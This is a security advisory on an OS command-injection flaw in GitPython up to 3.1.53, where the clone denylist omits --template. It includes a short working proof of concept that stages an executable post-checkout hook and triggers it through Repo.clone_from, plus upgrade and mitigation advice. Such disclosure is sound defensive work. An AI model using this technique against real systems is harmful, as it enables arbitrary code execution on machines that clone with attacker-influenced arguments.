high · 7.5Jul 24, 2026

GitPython: OS Command Injection via --template in clone_from

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

GitPython's clone protection denylist forgets the --template option, so an attacker who controls clone arguments can silently drop an executable post-checkout hook into the new repo and run arbitrary…

PackageGitPython
Ecosystempip
Affected<= 3.1.53
Fixed in3.1.54
GitPython: OS Command Injection via --template in clone_from

The problem

GitPython maintains a denylist called unsafe_git_clone_options to block dangerous git clone flags by default. In versions up to and including 3.1.53, that list contains --upload-pack, -u, --config, and -c, but omits --template.

The git --template=<dir> option copies <dir>/hooks/ into the cloned repo and then executes the post-checkout hook automatically at checkout time. Because --template never appears on the denylist, Repo.clone_from(url, dst, template='/attacker/dir') passes the guard with no error and git runs the hook.

Default config (allow_unsafe_options=False) is fully bypassed.

Proof of concept

A working proof-of-concept for this issue in GitPython, with the exact payload below.

python
import os, stat

# Step 1: stage the hook
hook_dir = "/tmp/evil/hooks"
os.makedirs(hook_dir, exist_ok=True)
hook = os.path.join(hook_dir, "post-checkout")
with open(hook, "w") as f:
    f.write("#!/bin/sh\ntouch /tmp/pwned\n")
os.chmod(hook, os.stat(hook).st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)

# Step 2: trigger via clone_from (default allow_unsafe_options=False)
from git import Repo
Repo.clone_from("https://github.com/any/repo", "/tmp/dst", template="/tmp/evil")
# post-checkout fires -> /tmp/pwned created

The fix (commit ffcb5359, PR #2180) simply appends "--template" to the unsafe_git_clone_options list in base.py, making the existing check_unsafe_options guard reject it. Before the fix, the guard iterated only over the four listed options; --template was never compared, so it passed straight through to git.

The root cause is CWE-184 (Incomplete List of Disallowed Inputs). git copies the entire hooks/ directory from the template path and runs post-checkout at checkout time, which is a documented git behavior, so no further bypass is needed once the denylist gap exists.

The attack requires the attacker to pre-stage an executable hook in a directory readable by the cloning process (e.g., /tmp, a shared filesystem, or an upload folder), which is why CVSS assigns AC:H.

The fix

Upgrade GitPython to 3.1.54 or later. The release adds --template to unsafe_git_clone_options (PR #2180, commit ffcb5359), so passing template= to Repo.clone_from() now raises UnsafeOptionError unless allow_unsafe_options=True is explicitly set. If you cannot upgrade immediately, audit all call sites of clone_from() and clone() for any user-supplied template argument and strip it before passing.

Reported by zx (Jace).

References: [1][2][3][4][5]

Related research